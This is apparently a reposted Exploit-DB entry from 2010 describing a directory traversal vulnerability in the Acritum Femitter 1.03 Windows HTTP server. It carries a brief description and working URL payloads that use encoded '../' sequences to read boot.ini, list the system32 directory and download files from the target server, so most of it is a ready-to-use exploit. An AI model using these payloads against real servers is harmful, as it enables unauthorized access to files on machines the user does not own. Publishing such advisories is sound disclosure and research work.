Acritum Femitter 1.03 – Directory Traversal - 体验盒子

作者： Dr_IDE

日期： 2010-04-20

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/12310/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

############################################################

#

# Acritum Femitter v1.03 Directory Traversal Exploit

# Found By: Dr_IDE

# Date: Apr. 20, 2010

# Tested On:Windows 7

# Download: http://acritum.com/fem/download.htm

#

############################################################

- Description -

Acritum Femitter v1.03 is a Windows based HTTP server. This is the latest

version of the application available.

Acritum Femitter v1.03 is vulnerable to remote directory traversal attack by the

following means.

- Technical Details -

http://[webserver IP]/[\../]

http://172.16.2.102////..%2f..%2f..%2f..%2fboot.ini <- File Access

http://172.16.2.102////..%2f..%2f..%2f..%2fwindows/system32 <- Full Directory Listing

http://172.16.2.102////..%2f..%2f..%2f..%2fwindows/system32/calc.exe<- File Download

#[pocoftheday.blogspot.com]